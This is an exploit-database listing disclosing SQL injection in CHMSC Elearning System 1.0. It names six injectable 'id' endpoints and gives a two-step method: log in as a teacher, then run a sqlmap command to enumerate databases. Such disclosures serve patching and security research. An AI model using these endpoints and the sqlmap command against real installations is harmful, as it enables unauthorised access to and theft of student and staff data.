CHMSC Elearning System 1.0 SQL Injection

2020.12.30

Credit: Ferhat Cil

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

# Exploit Title: CHMSC Elearning System 1.0 - SQL Injection
# Exploit Author: Ferhat Çil
# Date: 2020-12-25
# Vendor Homepage:
https://www.sourcecodester.com/php/5172/responsive-e-learning-system.html
# Software Link:
https://www.sourcecodester.com/download-code?nid=5172&title=Responsive+E-Learning+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version : Version 1
# Tested on Ubuntu

Step 1. Log in to the application with teacher credentials.

Url addresses with sqli
- http://localhost/<folder>/class.php?id=7
- http://localhost/<folder>/admin/edit_teacher.php?id=1
- http://localhost/<folder>/admin/add_student.php?id=17
- http://localhost/<folder>/admin/add_course.php?id=5
- http://localhost/<folder>/admin/add_subject.php?id=5
- http://localhost/<folder>/admin/add_department.php?id=6

Step 2. Run sqlmap on the URL where the "id" parameter is given

sqlmap -r requestData.txt --dbs

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

CHMSC Elearning System 1.0 SQL Injection

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.